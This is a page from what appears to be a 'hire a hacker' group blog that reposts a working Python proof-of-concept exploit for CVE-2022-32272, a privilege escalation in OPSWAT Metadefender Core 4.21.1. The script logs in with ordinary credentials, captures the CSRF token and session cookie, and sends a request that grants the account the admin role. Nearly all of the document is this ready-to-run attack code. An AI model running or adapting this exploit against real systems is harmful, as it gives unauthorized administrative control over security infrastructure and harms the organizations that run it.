Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863104766

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: OPSWAT Metadefender Core - Privilege Escalation
# Date: 24 October 2022
# Exploit Author: Ulascan Yildirim
# Vendor Homepage: https://www.opswat.com/
# Version: Metadefender Core 4.21.1
# Tested on: Windows / Linux
# CVE : CVE-2022-32272
# =============================================================================
# This is a PoC for the Metadefender Core Privilege escalation vulnerability.
# To use this PoC, you need a Username & Password.
# The OMS_CSRF_TOKEN allows users to execute commands with higher privileges.
# =============================================================================

#!/usr/bin/env python3
import requests
import json
from getpass import getpass

url = input("Enter URL in this Format (http://website.com): ")
username = input("Username: ")
password = getpass("Password: ")

url_login = url+'/login'
url_user = url+'/user'
logindata = {"user":username,"password":password}

## Get the OMS_CSRF_TOKEN & session cookie
response_login = requests.post(url_login, json = logindata).json()
json_str = json.dumps(response_login)
resp = json.loads(json_str)
token = resp['oms_csrf_token']
session = resp['session_id']

## Prepare Header & Cookie
headers = {
    "oms_csrf_token": token,
}
cookie = {
    "session_id_ometascan": session
}

## Set Payload to get Admin role
payload = '{"roles": ["1"]}'

response = requests.put(url_user,headers=headers,cookies=cookie,data=payload)
print("Response status code: "+str(response.status_code))

if response.status_code == 200:
    print("Expolit Successful!")
else:
    print("Exploit Unsuccessful")